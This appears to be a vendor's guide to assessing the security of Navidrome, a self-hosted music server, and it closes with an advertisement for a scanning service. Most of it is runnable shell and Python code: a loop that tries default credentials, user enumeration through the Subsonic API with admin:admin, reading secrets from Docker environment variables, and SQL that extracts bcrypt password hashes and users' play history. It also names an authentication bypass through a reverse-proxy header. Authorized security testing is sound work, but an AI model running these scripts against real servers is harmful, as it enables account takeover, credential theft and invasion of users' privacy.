Navidrome is a widely deployed self-hosted music streaming server compatible with all Subsonic API clients — it is one of the most popular self-hosted alternatives to Spotify and Apple Music. Key assessment areas: admin credentials control the entire platform; the Subsonic API supports a plaintext password parameter that transmits credentials in GET request query strings, making them visible in server logs and reverse proxy access logs; the SQLite database stores all user accounts and complete play history; and admin API endpoints allow user enumeration and creation. This guide covers systematic Navidrome security assessment.
# Navidrome — admin credential testing and web UI access
ND_URL="https://music.example.com"
# Test common Navidrome default admin credentials
for CRED in "admin:admin" "admin:password" "navidrome:navidrome" "admin:music123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Navidrome uses JWT cookie auth for web UI
RESULT=$(curl -s -X POST "${ND_URL}/auth/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('token') or d.get('id'):
print(f'SUCCESS: {\"${USER}\"/\"${PASS}\"} token={str(d.get(\"token\",\"\"))[:20]}...')
print(f' isAdmin={d.get(\"isAdmin\")} name={d.get(\"name\")}')
elif d.get('error'):
print(f'FAIL: {d.get(\"error\")}')
" 2>/dev/null
done
# Navidrome REST API — check version without auth
curl -s "${ND_URL}/rest/ping.view?u=x&p=x&v=1.16.1&c=test&f=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
r = d.get('subsonic-response',{})
print(f'Navidrome Subsonic API: status={r.get(\"status\")} version={r.get(\"serverVersion\")}')
" 2>/dev/null
# Navidrome Subsonic API — authentication and plaintext password exposure
ND_URL="https://music.example.com"
# Subsonic API supports TWO authentication methods:
# 1. Plaintext: ?u=USER&p=PASSWORD — password in GET URL, visible in logs
# 2. Token: ?u=USER&t=MD5(password+salt)&s=SALT — MD5-based, not bcrypt
# Plaintext password method — credentials in query string
curl -s "${ND_URL}/rest/getUser.view" \
"?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
r = d.get('subsonic-response',{})
if r.get('status') == 'ok':
u = r.get('user',{})
print(f'SUCCESS (plaintext auth):')
print(f' username={u.get(\"username\")} isAdmin={u.get(\"adminRole\")}')
print(f' roles: download={u.get(\"downloadRole\")} stream={u.get(\"streamRole\")}')
" 2>/dev/null
# Admin user enumeration — /rest/getUsers (admin only)
curl -s "${ND_URL}/rest/getUsers.view" \
"?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('subsonic-response',{}).get('users',{}).get('user',[])
if not isinstance(users, list): users = [users]
print(f'Users: {len(users)}')
for u in users:
print(f' {u.get(\"username\")} email={u.get(\"email\")} admin={u.get(\"adminRole\")}')
" 2>/dev/null
# Music folder paths — /rest/getMusicFolders (server filesystem paths)
curl -s "${ND_URL}/rest/getMusicFolders.view" \
"?u=admin&p=admin&v=1.16.1&c=test&f=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
folders = d.get('subsonic-response',{}).get('musicFolders',{}).get('musicFolder',[])
if not isinstance(folders, list): folders = [folders]
print(f'Music folders: {len(folders)}')
for f in folders:
print(f' [{f.get(\"id\")}] {f.get(\"name\")} path exposed via media URLs')
" 2>/dev/null
# Navidrome SQLite database extraction
# Docker environment variables
docker inspect navidrome 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['ND_','NAVIDROME','PASSWORD','SECRET','DB']):
print(e)
for m in c.get('Mounts',[]):
print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null
# ND_DEFAULTADMINPASSWORD — admin password set at first run
# ND_MUSICFOLDER — path to music library on host
# ND_LOGLEVEL — if debug, may log auth tokens
# Navidrome data directory
ls /music/data/ 2>/dev/null
# navidrome.db — main SQLite database
# cache/ — transcoded audio cache
DB_PATH="/music/data/navidrome.db"
# All users with password hashes
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT id, user_name, name, email,
password, -- bcrypt hash
is_admin,
last_login_at,
created_at
FROM user
ORDER BY is_admin DESC, created_at;
EOF
# Complete play history per user
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.user_name,
a.annotation_type,
mf.title as track_title,
al.name as album,
ar.name as artist,
a.play_count,
a.play_date,
a.starred,
a.rating
FROM annotation a
JOIN user u ON a.user_id = u.id
LEFT JOIN media_file mf ON a.item_id = mf.id AND a.annotation_type = 'media_file'
LEFT JOIN album al ON a.item_id = al.id AND a.annotation_type = 'album'
LEFT JOIN artist ar ON a.item_id = ar.id AND a.annotation_type = 'artist'
ORDER BY a.play_date DESC
LIMIT 30;
EOF
-- play history reveals listening patterns, music preferences, active hours
-- All media files with filesystem paths
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT mf.path, -- full filesystem path to audio file
mf.title,
mf.album,
mf.artist,
mf.year,
mf.bit_rate,
mf.size,
mf.duration
FROM media_file mf
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Admin credential brute force and web UI access | POST /auth/login with admin/admin — JWT token for full admin panel; user management, music library rescan, system settings; Subsonic API admin access enabling user creation and deletion | High |
| Subsonic API plaintext password in query string | GET /rest/*.view?u=USER&p=PASSWORD — password transmitted as URL parameter; visible in nginx/Apache access logs, reverse proxy logs, and browser history; enables credential harvesting from log files without authentication | High |
| SQLite user table bcrypt hash extraction | SELECT password FROM user — bcrypt hashes for all accounts; offline cracking of bcrypt hashes with weak passwords; play history and listening pattern exposure | High |
| Admin user enumeration via getUsers | GET /rest/getUsers.view — admin-only endpoint listing all accounts with email addresses; enables targeted credential attacks against known users | Medium |
| ND_REVERSEPROXYUSERHEADER authentication bypass | Direct HTTP request with username header — bypasses all authentication when configured and direct access is possible; admin access without credentials | Critical |
Ironimo tests Navidrome deployments for admin credential brute force, Subsonic API plaintext password URL parameter exposure in server logs, MD5 token authentication weakness assessment, SQLite user table bcrypt hash extraction, annotation table play history privacy exposure, ND_REVERSEPROXYUSERHEADER authentication bypass testing, music library filesystem path disclosure, Docker ND_DEFAULTADMINPASSWORD environment variable exposure, admin getUsers enumeration, and unauthenticated server version disclosure via ping endpoint.
Start free scan